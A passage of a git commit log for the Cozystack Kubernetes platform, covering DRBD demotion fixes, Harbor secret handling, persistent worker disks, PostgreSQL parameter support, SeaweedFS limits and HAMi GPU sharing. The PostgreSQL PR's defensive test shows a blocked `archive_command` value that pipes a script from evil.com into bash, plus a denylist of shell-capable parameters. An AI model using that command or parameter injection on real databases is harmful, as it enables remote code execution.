piraeusdatastore/linstor-csi#172).

### Implementation

In `plunger-satellite.sh` (already running as a privileged sidecar
on every linstor-satellite pod) add `drbd_fix_idle_primary`:

```jq
.[]?
| select(.role == "Primary")
| select(all(.devices[]?; .open == false))
| .name
```

For every match, run `drbdadm secondary <res>`.

### Why this is safe

- `open == false` on **every** device of the resource means no reader
  or writer holds the block device — the demote cannot interrupt I/O.
- Both detection and action are local to the satellite, no peer
  coordination needed.
- If a real consumer is about to arrive, DRBD auto-promote will redo
  the promotion when CSI opens the device — so even a misfire is a
  no-op.
- The jq filter was validated against a live multi-node cluster
  (3 nodes, 22 legitimate Primaries, 0 false positives — every
  legitimate Primary has at least one `open: true` volume).

### Release note

```release-note
fix(linstor): plunger now demotes DRBD resources stuck in Primary
without a consumer, fixing transient `failed to set source device
readwrite` mount errors during PVC provisioning.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced DRBD resource management with automatic remediation for idle
Primary resources. The system now detects resources lacking active
device connections and safely demotes them to Secondary state during
routine maintenance cycles. Robust error handling preserves existing
recovery procedures while improving overall system stability and
preventing potential resource conflicts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 15:17:17 +02:00
Myasnikov Daniil 4ecb8fb0d6 test(harbor): add helm-unittest coverage for bucket-secret guards 
`hack/helm-unit-tests.sh` auto-discovers any package whose Makefile has
a `test` target. `packages/system/harbor` had none, so the conditional
rendering of `bucket-secret.yaml` (the path this PR actively reshapes)
was un-asserted in CI and the bucket-secret guard would not be pinned
against future refactors.

Add the canonical `test: helm unittest .` target, matching every other
`packages/system/*` package that ships a `tests/` directory
(linstor-scheduler, linstor-gui, cozystack-scheduler, nfs-driver).

Add `tests/bucket_secret_test.yaml` with seven cases covering: spec
absent, spec empty, secretS3 absent, secretS3 empty, secretS3 partial
(only one inner field), bucketName missing, and fully populated. The
first six assert no Secret is rendered; the last asserts the four
expected `stringData` entries plus the static region. 7/7 pass locally
(`bash hack/helm-unit-tests.sh`).

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
 2026-04-30 16:40:26 +05:00
Myasnikov Daniil 5fb337de19 fix(harbor): guard registry-s3 render against partial BucketInfo 
The COSI BucketAccess controller is expected to populate `BucketInfo`
atomically, but the prior guard (`with .Values.spec` / `with .secretS3`)
only short-circuits on missing or empty inputs. A partially populated
`secretS3` would still emit the registry-s3 Secret with empty
`accessSecretKey`/`endpoint` values, and a missing `bucketName` was
not guarded at all — silently breaking Harbor's S3 storage backend.

Tighten the inner guard to require all four required fields
(accessKeyID, accessSecretKey, endpoint, bucketName) before the Secret
is emitted, so partial input falls into the no-render path alongside
unset/empty. The body now uses dot-access on `.secretS3` for
consistency with the new gate. Behaviour for fully populated input is
unchanged.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
 2026-04-30 16:40:15 +05:00
Arsolitt d4808b9674 merge: resolve conflicts with main after PR #2454 
Merge origin/main into feat/kubernetes-kubelet-reserved-resources.

PR #2454 (persistent storage for worker nodes) landed in main and
touched the same nodeGroups schema. Conflicts resolved by keeping
both feature sets (kubelet reservations + persistent storage):

- api/apps/v1alpha1/kubernetes/types.go: merged kubebuilder default
  marker with all keys from both features
- packages/apps/kubernetes/README.md: merged Parameters table with
  diskSize/storageClass + kubelet* rows
- packages/system/kubernetes-rd/cozyrds/kubernetes.yaml: merged
  openAPISchema and keysOrder, dropped stale ephemeralStorage path

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-30 13:51:28 +03:00
Aleksei Sviridkin dff5f8d19a feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes (#2454) 
## What this PR does

Replace the ephemeral `emptyDisk` volume on tenant Kubernetes worker VMs
with persistent PVC-backed storage via KubeVirt `dataVolumeTemplates`.
Previously, kubelet certificates, kubeconfig, and containerd state were
lost on VM reboot, causing the node to fall out of the tenant cluster.

**Changes:**

- Rename `ephemeralStorage` field to `diskSize` in NodeGroup
configuration
- Replace `emptyDisk` volume with `dataVolumeTemplates` using CDI blank
source
- Add `cdi.kubevirt.io/storage.usePopulator: "false"` annotation to work
around CDI volume population issues with LINSTOR CSI
- Add optional per-nodeGroup `storageClass` field (defaults to cluster
default)
- Set fixed 2Gi ephemeral-storage resource for virt-launcher pod
- Rename internal mount paths from `/ephemeral` to `/persistent`
- Add helm unit tests (`cluster_test.yaml`) covering dataVolumeTemplates
defaults, custom disk size, storageClass presence/absence, fixed
ephemeral-storage, disk name consistency, and CDI populator annotation
- Quote storage values in templates (`diskSize`, `storageClassName`) for
Helm correctness
- Guard bind-mount commands with `mountpoint -q` checks and create
target directories to handle fresh images and cloud-init retries
- Set `blockSize.matchVolume` on worker node disks for automatic block
size detection, fixing DRBD 4Kn compatibility with QEMU

**Known gotchas:**

- CDI volume population (prime PVC rebind) causes `ClaimMisbound` errors
with LINSTOR CSI driver, regardless of StorageClass (`replicated` or
`local`). The `usePopulator: false` annotation switches to the legacy
import path which works correctly. This is a known CDI issue documented
in
[kubevirt/containerized-data-importer#3146](https://github.com/kubevirt/containerized-data-importer/issues/3146).
- The `replicated` StorageClass with DRBD `suspend-io` quorum policy can
cause transient VM IO errors during LINSTOR satellite restarts (quorum
loss). The `local` StorageClass is recommended for worker node disks.
When `storageClass` is not specified in a nodeGroup, the cluster default
StorageClass is used.
- Existing clusters will trigger a rolling replacement of all worker
nodes on upgrade due to changed KubevirtMachineTemplate hash.
- DRBD volumes use 4096-byte logical sectors (`block-size 4096`).
Without explicit block size configuration, QEMU defaults to 512-byte
sectors, causing immediate IO errors and VM pause. The
`blockSize.matchVolume` setting in the disk spec ensures KubeVirt
auto-detects the correct sector size from the volume.

**Tested on a live cluster:**

- Verified DataVolume provisioning with `local` StorageClass
- Verified nodes join the tenant cluster and reach Ready state
- Verified node survives VM reboot (pod deletion) and returns to Ready
with the same Node object, reusing kubelet certificates from persistent
disk

### Screenshots

N/A — no UI changes.

### Release note

```release-note
feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes

Worker node VMs now use persistent PVC-backed disks instead of ephemeral emptyDisk volumes. Kubelet certificates, kubeconfig, and containerd state survive VM reboots, preventing nodes from falling out of the tenant cluster.

BREAKING CHANGE: The `ephemeralStorage` field in nodeGroups has been renamed to `diskSize`. A new optional `storageClass` field allows per-nodeGroup storage class selection. Users must update their values overrides accordingly.

Worker node disks now use `blockSize.matchVolume` to automatically detect the underlying volume's sector size, ensuring compatibility with DRBD-backed storage classes that use 4096-byte logical sectors.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional storageClass parameter to select storage class for worker
node persistent disks (defaults to cluster default).
  * Makefile test target added to run Helm unit tests for the chart.

* **Configuration Changes**
* Worker node storage parameter renamed from ephemeralStorage to
diskSize (default: 20Gi).
* Kubelet/containerd state moved to persistent disk paths and node
ephemeral-storage accounting fixed to 2Gi; disk provisioning aligns
block sizing with backing volumes.

* **Documentation**
* Updated docs and chart/schema to reflect the persistent disk model and
new fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 12:41:34 +03:00
Aleksei Sviridkin 4dbd4b0b85 fix(harbor): mark credentials Secret with user-secret label (#2541) 
## What this PR does

- Stamps the Helm-managed `{{ .Release.Name }}-credentials` Secret with
`apps.cozystack.io/user-secret: "true"`.
- Adds a `matchLabels` rule to `secrets.include` in the Harbor
`ApplicationDefinition`, alongside the existing `resourceNames` entry.

The lineage webhook decides whether a Secret is tenant-visible by
matching its name against the `secrets.include[].resourceNames` template
in the corresponding `ApplicationDefinition`. For Harbor the template
`{{ .name }}-credentials` renders to `{name}-credentials` and does not
account for the `release.prefix: "harbor-"` set in the same definition,
while the Helm chart actually creates `harbor-{name}-credentials`. The
names never match, so the Secret ends up labelled
`internal.cozystack.io/tenantresource=false` and never appears in the
TenantSecrets API.

This change follows the existing `apps.cozystack.io/user-secret: "true"`
pattern already used by Bucket
(`packages/system/bucket/templates/user-credentials.yaml`) and RabbitMQ
(`packages/apps/rabbitmq/templates/rabbitmq.yaml`). The webhook then
matches via labels and is independent of how Helm names the Secret.

### Screenshots

Not applicable — no UI changes in this PR.

### Release note

```release-note
fix(harbor): expose Harbor credentials Secret to tenant-aware clients by marking it with the `apps.cozystack.io/user-secret` label, mirroring the pattern already used by Bucket and RabbitMQ.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated Harbor configuration to support label-based secret discovery
alongside existing name-based selection, improving secret management
reliability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 12:40:48 +03:00
Aleksei Sviridkin d9f95614bf feat(postgres): support all PostgreSQL configuration parameters (#2466) 
## Summary

Enable configuration of any PostgreSQL server parameter through
`postgresql.parameters`, not just `max_connections`, with built-in
security protection against dangerous parameters.

## Problem

Previously, the Postgres application only applied `max_connections` from
`postgresql.parameters`. All other standard PostgreSQL parameters (e.g.,
`bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently
ignored.

This limitation existed because:
- Helm template only processed `max_connections` explicitly
- JSON schema blocked additional properties

CloudNativePG supports any PostgreSQL parameter, so this restriction was
artificial.

## Solution

Changed `postgresql.parameters` from a struct with a single field to
`map[string]string`:

- **values.yaml**: Changed parameter type to map with usage examples and
warnings
- **values.schema.json**: Added `additionalProperties` to allow any
parameter
- **templates/db.yaml**: Use `merge` to combine defaults with user
parameters, preventing duplication
- **Security validation**: Block parameters that could allow shell
command execution
- **types.go**: Auto-regenerated with new structure (manual fix for
groupName)
- **README.md**: Added comprehensive warnings about blocked parameters,
CloudNativePG-managed parameters, restart requirements, and security
considerations
- **CRD**: Updated in postgres-rd

## Security Features

**Blocked parameters** (will fail deployment with clear error):
- `archive_command` — could execute shell commands during WAL archiving
- `restore_command` — could execute shell commands during recovery
- `ssl_passphrase_command` — could execute shell commands for SSL key
decryption
- `log_destination` — could redirect logs to shell pipes
- `event_source` — could be exploited for command injection

These parameters pose severe security risks and could allow arbitrary
code execution in PostgreSQL pods, potentially leading to pod escape and
privilege escalation in multi-tenant environments.

## Key Features

- **Security first**: Validates and blocks dangerous parameters
- **No duplication**: `max_wal_senders` default can be overridden
without conflicts
- **User priority**: User-specified parameters override defaults
- **Comprehensive warnings**: Documentation covers blocked parameters,
managed parameters, restart requirements, and security risks

## Testing

Verified with `helm template`:

**Basic parameters work:**
```yaml
postgresql:
  parameters:
    max_connections: "200"
    shared_buffers: "1GB"
    work_mem: "256MB"
```

**Dangerous parameters are blocked:**
```yaml
postgresql:
  parameters:
    archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked for
security reasons...`

**Override defaults:**
```yaml
postgresql:
  parameters:
    max_wal_senders: "50"  # Overrides default "30"
```

All values are converted to strings as required by CloudNativePG.

## Breaking Changes

**`postgresql.parameters.max_connections`** now expects a string value
(`"100"`) instead of integer.

**Impact**: Existing configurations using integer values will be
automatically converted by Helm templating, but explicit string values
are recommended for clarity.

**Migration**: Change `max_connections: 100` to `max_connections: "100"`
in values.

## Documentation

Added warnings about:
- Blocked parameters (security)
- CloudNativePG-managed parameters (do not override)
- Parameters requiring pod restart
- Security-sensitive parameters

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Rendering now fails fast if blocked/sensitive PostgreSQL parameters
are supplied.
  * Chart supplies a default for WAL senders during values merge.

* **Refactor**
* PostgreSQL parameters changed to a flexible map of string→string;
numeric values must be quoted (e.g., "100").

* **Documentation**
* Docs and schemas updated with string-only guidance, default values
(e.g., "100") and warnings about managed parameters.

* **Tests**
  * E2E test values updated to use quoted parameter values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 12:39:05 +03:00
Aleksei Sviridkin 0aed318b3e feat(seaweedfs): limit single PUT request size to 5GB (#2414) 
## Summary

Limit single PUT request body size to 5GB for SeaweedFS S3 endpoints to
enforce multipart upload usage for large files.

## Motivation

Large monolithic file uploads via single PUT requests (files >5GB)
frequently cause issues in production environments:
- Connection timeouts during long uploads
- Memory pressure on proxy/gateway components  
- Incomplete uploads resulting in corrupted data
- High support load from users experiencing these failures

AWS S3 and other object storage providers recommend using multipart
uploads for files larger than 100MB, with multipart being mandatory for
files >5GB.

## Changes

- Set `nginx.ingress.kubernetes.io/proxy-body-size: "5g"` in system
SeaweedFS configuration
- Set `nginx.ingress.kubernetes.io/proxy-body-size: "5g"` in tenant
SeaweedFS template (hardcoded, non-overridable)
- Add explanatory comments documenting the limitation and rationale

## Impact

**For users:**
- Single PUT requests are limited to 5GB maximum
- Files >5GB must be uploaded using S3 multipart upload API
- All standard S3 clients (aws-cli, boto3, MinIO client, etc.)
automatically use multipart for large files
- No breaking changes for properly configured S3 clients

**Platform benefits:**
- Reduced support load from large file upload failures
- Better resource utilization (memory, connections)
- More reliable upload experience for end users
- Aligns with industry best practices (AWS, MinIO, etc.)

## Testing

- Verify small files (<5GB) upload successfully via PUT
- Verify large files (>5GB) via PUT return HTTP 413
- Verify multipart upload works for any file size
- Test with common S3 clients (aws-cli, s3cmd, etc.)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated SeaweedFS S3 ingress configuration to enforce a 5GB maximum
for single requests; files larger than 5GB should use multipart upload.
* Disabled response/request buffering and extended NGINX timeouts, and
enabled upstream service handling to improve reliability of large
uploads and long-lived connections.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 12:39:03 +03:00
IvanHunters fe6b4485fb chore(postgres-rd): regenerate CRD after parameter description update 
Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 10:21:35 +03:00
IvanHunters a4d3c99a9a revert(kubevirt-operator): remove PrometheusRule changes unrelated to postgres 
Revert the kubevirt-operator PrometheusRule changes that were included
in this PR by mistake. These changes will be submitted in a separate PR
for cleaner attribution.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 10:17:50 +03:00
IvanHunters 7106f07a1c fix(kubevirt-operator): move PrometheusRule to Helm-rendered template 
Move alerts/PrometheusRule.yaml from raw-file loading (via Files.Glob)
to templates/prometheusrule.yaml as a proper Helm template. Escape
Prometheus template variables with {{ "{{" }} to prevent Helm from
evaluating them during chart rendering.

Remove templates/alerts.yaml which is now dead code since the alerts/
directory is empty.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 10:17:21 +03:00
Myasnikov Daniil 2555a9ac08 fix(harbor): merge BucketInfo at values root, drop targetPath 
The previous fix (a21c18f9) sourced BucketInfo via Flux valuesFrom with
`targetPath: bucket.bucketInfo`. Flux runs values with `targetPath`
through Helm's `strvals.ParseInto`, which splits the value on commas as
list separators. The COSI BucketInfo JSON is comma-rich, so values
resolution bailed:

  could not resolve Secret chart values reference
  'tenant-X/harbor-X-registry-bucket' with key 'BucketInfo':
  key "\"spec\":{\"bucketName\":\"bucket-1785...\""
  has no value (cannot end with ,)

Drop `targetPath`. With only `valuesKey: BucketInfo`, helm-controller
unmarshals the value as YAML and merges at the chart's values root, so
JSON commas stay nested instead of being split. The system chart's
bucket-secret.yaml now reads `.Values.spec.bucketName` /
`.Values.spec.secretS3.{accessKeyID,accessSecretKey,endpoint}`,
guarded by nested `with` blocks so the registry-s3 Secret renders only
when secretS3 has been populated.

Gating semantics from the previous fix are preserved: with the default
`optional: false`, helm-controller still refuses to compose values
until the COSI BucketAccess controller writes `BucketInfo` into the
Secret, and the value's content still drives the HR config-digest.

Verified via `helm template` against the system chart with three
scenarios: missing `spec` and `spec` without `secretS3` render
nothing; full BucketInfo renders all five S3 env keys correctly.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
Assisted-By: Claude <noreply@anthropic.com>
 2026-04-30 09:35:14 +05:00
IvanHunters c2bad2ab5d chore(postgres): regenerate postgres.yaml after rebase 
Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 01:46:39 +03:00
IvanHunters a753088fb4 fix(kubevirt-operator): escape Prometheus template variables in PrometheusRule 
Helm was trying to evaluate {{ $labels.xxx }} as Helm variables, causing
"undefined variable" errors during E2E tests. Wrap Prometheus template
expressions in backticks to pass them through Helm unchanged.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 01:43:43 +03:00
IvanHunters fac0622499 fix(postgres): make security denylist case-insensitive 
PostgreSQL parameter names are case-insensitive, but the denylist
check was case-sensitive, allowing bypass via mixed-case names
(e.g., ARCHIVE_COMMAND instead of archive_command).

Normalize parameter names to lowercase before checking against the
denylist to prevent security bypass.

Thanks to CodeRabbit for catching this security issue.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 01:43:43 +03:00
IvanHunters fb0ed08565 feat(postgres): support all PostgreSQL configuration parameters 
Allow users to configure any PostgreSQL server parameter via the
postgresql.parameters field. All parameter values must be provided
as strings (numeric values should be quoted).

Security measures:
- Block parameters that allow shell command execution (archive_command,
  restore_command, ssl_passphrase_command, log_destination, event_source)
- Validation implemented in templates to prevent security vulnerabilities

Generated files updated:
- types.go: Add Parameters field with map[string]string type
- README.md: Add parameter documentation and warnings
- values.schema.json: Update schema for new field
- CRD: Update OpenAPI schema with new field and reordered properties

CloudNativePG manages certain parameters automatically (archive_mode,
primary_conninfo, wal_level). Users should not override these as it
may break backup/replication functionality.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-04-30 01:43:41 +03:00
IvanHunters fdbb6fdfd7 fix(harbor): mark credentials Secret with user-secret label 
The Helm-managed harbor-{name}-credentials Secret was not visible
through the TenantSecrets API because the lineage webhook compared the
real Secret name against the rendered template "{{ .name }}-credentials"
(which becomes "{name}-credentials" without the "harbor-" HelmRelease
prefix), failed to match, and labelled the Secret as
internal.cozystack.io/tenantresource=false.

Adopt the same pattern Bucket and RabbitMQ already use: stamp the
user-facing Secret with apps.cozystack.io/user-secret=true and add a
matchLabels rule alongside the existing resourceNames entry in the
ApplicationDefinition. The webhook now matches via labels instead of
relying on Secret-name templating, so the Secret is properly marked
tenantresource=true and surfaces in tenant-aware clients.

Signed-off-by: IvanHunters <ivan.okhotnikov@aenix.io>
 2026-04-29 20:47:09 +03:00
Andrei KvapilandClaude a6ac0485a8 fix(linstor): plunger demotes idle-Primary DRBD resources 
DRBD auto-promotes a resource to Primary during the provisioning path
(e.g. mkfs.ext4 against a freshly created replica), but auto-demote
sometimes fails to fire on close. The resource then stays Primary on
a node that has no consumer, and CSI on the legitimate target node
fails NodePublishVolume with "failed to set source device readwrite".
The only recovery is an explicit drbdadm secondary on the stuck node.

Add a per-satellite plunger handler that detects local Primaries
where every device has open == false and demotes them. Both the
detection and the action are local to the satellite, so no peer
coordination is needed. open:no makes drbdadm secondary safe; if a
real consumer is about to arrive, auto-promote will redo it.

Upstream tracker: piraeusdatastore/piraeus-operator#942

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
 2026-04-29 17:30:08 +02:00
IvanHunters 90fbb16f88 fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY 
LINSTOR satellite aborts resource initialization with "Device is held open
by someone" (errno -12) when an external probe (Talos block-controller,
udev, multipathd) opens the freshly-promoted DRBD device just before the
post-mkfs demotion. The controller view then stays in SyncTarget /
Inconsistent / DELETING indefinitely, blocking cleanup of orphan PVs in
Released phase.

Add a retry wrapper secondaryAfterMkfs() with exponential backoff
(7 attempts, 250ms -> 2s) that triggers only on this specific error
message. DrbdPrimary.close() now uses the wrapper so the retry only
applies to the post-mkfs demotion path; the existing public secondary()
contract is untouched.

Related: LINBIT/linstor-server#268, LINBIT/drbd#74
Signed-off-by: IvanHunters <ivan.okhotnikov@aenix.io>
 2026-04-29 18:02:52 +03:00
Ivan Okhotnikov c2884eac17 fix(kafka): bump default resourcesPreset to medium 
The `small` preset (512Mi) is not sufficient for the Strimzi 0.45 /
Kafka 3.9 image baseline. With the default Strimzi heap formula
(Kafka 50%, ZooKeeper 75% of container memory limit), the remaining
non-heap budget (Metaspace, code cache, direct buffers, JMX
javaagent, embedded Jetty admin server, KRaft migration endpoints,
thread stacks) consistently overflows the 512Mi cgroup limit at
startup, leading to OOMKilled (exit 137) and CrashLoopBackOff for
both Kafka and ZooKeeper pods.

Bump the default `resourcesPreset` for kafka and zookeeper from
`small` (512Mi) to `medium` (1Gi). The `small` preset stays in the
enum so existing deployments that pin it are unaffected; only the
default changes.

Signed-off-by: Ivan Okhotnikov <ivan.okhotnikov@aenix.io>
 2026-04-29 17:45:09 +03:00
Arsolitt 998cc77635 chore(kubernetes): merge main to resolve CRD schema conflict 
Integrate the HAMi GPU virtualization addon from main while
keeping the persistent-storage diskSize and storageClass fields
introduced by this branch.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-29 16:54:58 +03:00
Aleksei Sviridkin f45facca77 feat(hami): add HAMi GPU virtualization system package (#2484) 
## What this PR does

Documentation: https://github.com/cozystack/website/pull/517

Integrates [HAMi](https://github.com/Project-HAMi/HAMi) v2.8.1 (CNCF
Sandbox) into Cozystack as a system-level package for fractional GPU
sharing in tenant Kubernetes clusters.

The integration covers three layers:

- **System chart** (`packages/system/hami/`): Vendors upstream HAMi Helm
chart with device plugin, scheduler extender, mutating webhook, and
RuntimeClass configuration. The broken DRA subchart was removed — it
renders resources even when disabled and references unpublished images.

- **Kubernetes app addon** (`packages/apps/kubernetes/`): HAMi exposed
as an optional toggle (`hami.enabled`). Automatically disables GPU
Operator's native device plugin when active to avoid conflicts. Enforces
hard dependency on GPU Operator.

- **Platform registration** (`packages/core/platform/`): HAMi declared
as PackageSource with gpu-operator dependency, included in the iaas
bundle.

**Known limitation**: HAMi-core relies on a private glibc symbol
(`_dl_sym`) removed in glibc 2.34, which breaks compute isolation on
modern container images (Ubuntu 22.04+, PyTorch/TensorFlow official
images). Alpine/musl is entirely incompatible. See the package README
for details and upstream issue references.

### Screenshots

N/A — no UI changes.

### Release note

```release-note
feat(hami): add HAMi GPU virtualization as an optional system package for fractional GPU sharing. Enables memory and compute isolation for NVIDIA GPUs across tenant workloads. Integrates with GPU Operator and can be enabled per-cluster via the hami.enabled toggle. Note: compute isolation requires glibc < 2.34 in workload containers.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added HAMi GPU virtualization middleware as an optional cluster addon
to enable fractional GPU sharing.
* HAMi addon includes an enable toggle (default: disabled) and a
customizable Helm values override; when enabled it enforces GPU Operator
presence and adjusts GPU Operator values accordingly.
* New HelmRelease integration for deploying HAMi with dependency
ordering and conditional rendering.

* **Documentation**
* Added HAMi setup guide, compatibility notes, and updated cluster addon
configuration reference.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-29 16:22:58 +03:00
Timofei Larkin 69ad74e457 fix(cozystack-engine): add managed Kubernetes without visible control-plane nodes support to lineage-controller-webhook (#2481) 
<!-- Thank you for making a contribution! Here are some tips for you:
- Use Conventional Commits for the PR title: `type(scope): description`
- Types: feat, fix, docs, style, refactor, perf, test, build, ci, chore
- Scopes for system components: dashboard, platform, cilium, kube-ovn,
linstor, fluxcd, cluster-api
- Scopes for managed apps: postgres, mariadb, redis, kafka, clickhouse,
virtual-machine, kubernetes
- Scopes for development and maintenance: api, hack, tests, ci, docs,
maintenance
- Breaking changes: append `!` after type/scope (`feat(api)!: ...`) or
add a `BREAKING CHANGE:` footer
- If it's a work in progress, consider creating this PR as a draft.
- Don't hesistate to ask for opinion and review in the community chats,
even if it's still a draft.
- Add the label `backport` if it's a bugfix that needs to be backported
to a previous version.
-->

In environments where control-plane nodes are not available (e.g., AWS
managed nodes, Cozy-in-Cozy tenant Kubernetes clusters), the DaemonSet
cannot schedule any pods because no nodes match this selector.

## What this PR does

This PR adds ability to replace DaemonSet by Deployment with custom
number of replicas for HA purpose. Default values saves current
behavior.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional Deployment mode for lineage-controller-webhook with
configurable replicas
  * PodDisruptionBudget support when Deployment mode is enabled

* **Updates**
* Improved pod scheduling: node affinity replaces nodeSelector, optional
tolerations, and pod anti-affinity when using Deployment
* Clarified behavior for local API endpoint scheduling (only applies
when pod lands on nodes running an API server)

* **Documentation**
  * Added README with usage examples and parameter details
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-29 15:24:27 +04:00
Arsolitt 5d58d0f340 chore(hami): document and partially automate vendor patches in Makefile 
The `update:` recipe now reproduces the top-level vendoring overrides
(remove broken hami-dra subchart, clear Chart.yaml dependencies, strip
dra/hami-dra/podSecurityPolicy from upstream values.yaml) after
`helm pull`, so they no longer silently disappear on the next bump.

Template-level patches (DRA guards in scheduler/*, indent fix in
device-plugin/monitorservice.yaml) are documented with rationale and
commit references — they remain a manual step because automating them
would be fragile across upstream template restructures.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-29 11:14:41 +03:00
Arsolitt 9876acec2f docs(hami): clarify gpu-operator devicePlugin override behavior 
The HAMi-driven default of disabling gpu-operator's device plugin is
applied via valuesOverride and can be re-enabled by users for advanced
topologies (mixed HAMi / vanilla NVIDIA device plugin pools). Document
this explicitly so the README aligns with the existing template merge
order.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-29 11:13:24 +03:00
Arsolitt ba8c1a0535 docs(hami): drop HAMi#173 reference from glibc tracking issues 
HAMi#173 was closed as "not planned" and only suggests a typo fix
(< 2.3.0 → < 2.30); it does not establish the actual 2.34 boundary.
HAMi-core#174 (symbol-level cause) and HAMi#1190 (empirical per-glibc
behavior) cover the same ground accurately.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-04-29 11:13:12 +03:00
Myasnikov Daniil 8daf495286 fix(harbor): drive bucket-secret.yaml from values, gate HR on BucketInfo 
Two bugs caused the harbor E2E to fail (CI #25049445125):

1. cozy-harbor's bucket-secret.yaml called `index $existingSecret.data
   "BucketInfo"` unconditionally. During first-time install the COSI
   BucketAccess controller may create the credentials Secret as a
   placeholder before populating it, so `.data` is nil and the chart
   render crashes with `index of untyped nil`.

2. The downstream `<release>-system` HelmRelease starts reconciling
   immediately, in parallel with bucket provisioning, hitting bug #1
   on every retry within the test's 5-minute window.

The previous shape relied on `lookup` to read the Secret at render
time. helm-controller's upgrade trigger is digest-based over composed
values + chart artifact, so a `lookup` returning new data on a later
reconcile is not enough on its own to force an upgrade — the rendered
output may diverge but the digest does not.

Switch to a values-driven shape:

- `bucket-secret.yaml` now reads `.Values.bucket.bucketInfo` (a JSON
  string) and uses `dig` for safe access; if the value is empty or the
  expected nested fields are missing, no `*-registry-s3` Secret is
  rendered.
- The `<release>-system` HR sources `BucketInfo` via `valuesFrom` with
  `targetPath: bucket.bucketInfo`. With the default `optional: false`,
  helm-controller will refuse to compose values until the key exists,
  which both gates initial reconciliation on the BucketAccess Secret
  being populated and forces a config-digest change (and thus a helm
  upgrade) when its contents change.
- `bucket.secretName` is removed from the system chart's values and
  from the apps chart's `values:` block; the only consumer (the
  `lookup` call) is gone.

Verified four scenarios via `helm template` against the system chart:
unset bucketInfo, empty string, empty JSON object `{}`, and a
fully-populated BucketInfo — only the last renders the registry-s3
Secret; the others render nothing without erroring.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
 2026-04-29 11:37:10 +05:00
Myasnikov Daniil 357dd424da fix(objectstorage-controller): retry on Bucket update conflict during BucketAccess reconcile 
Upstream COSI v0.2.2's BucketAccess reconciler does a Get->mutate->Update
on the parent Bucket and surfaces "Operation cannot be fulfilled ... the
object has been modified" as a FailedGrantAccess event when it races
against the Bucket reconciler in the same controller process. Wrap the
mutation in retry.RetryOnConflict so the reconcile loop refreshes and
retries instead of leaking the conflict to users.

Carried as 91-bucketaccess-conflict-retry.diff until upstreamed
(cf. 89-reconciliation.diff and 90-bucket-name.diff, both dropped
in c29d501b once merged upstream).

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
 2026-04-29 10:50:16 +05:00
Aleksei Sviridkin 3977aef509 feat(monitoring): add GPU observability dashboards and recording rules (#2418) 
## What this PR does

Adds GPU observability to Cozystack: five Grafana dashboards, a set of
VictoriaMetrics recording rules with a throttle-regression alert, and
reference manifests for wiring the NVIDIA GPU Operator and DCGM Exporter
on Talos when running GPU workloads directly in pods.

### Components

1. **Dashboards** — `dashboards/gpu/*.json`, registered in
`packages/system/monitoring/dashboards-infra.list`. All follow the
project convention: the Prometheus data source is selected through the
`$ds_prometheus` template variable.

- `gpu-performance` — per-GPU utilization (NVML, tensor pipe, graphics
engine, memory copy), VRAM, power, temperature, and health (XID errors,
power/thermal throttling). All metrics are shown per-GPU, filterable by
the `$Hostname` selector.
- `gpu-fleet` — cluster-wide inventory, capacity, utilization, and
per-node power draw as percentage of TDP.
- `gpu-tenants` — per-namespace allocation and 24-hour GPU-hour/kWh
accounting; utilization and power are shown per-node (DCGM cannot
attribute hardware metrics to namespaces).
- `gpu-quotas` — allocated vs. requested GPUs, pending pods, and a
per-namespace requests/limits table. All counts derive from the
`namespace:gpu_count:allocated` recording rule, which excludes
`Failed`/`Succeeded` pod carryover.
- `gpu-efficiency` — cluster and per-GPU efficiency: tensor saturation,
util-per-watt, and per-GPU power/thermal throttle fractions.

2. **Recording rules and alert** —
`packages/system/monitoring-agents/alerts/gpu-recording.rules.yaml`.
Four rule groups:

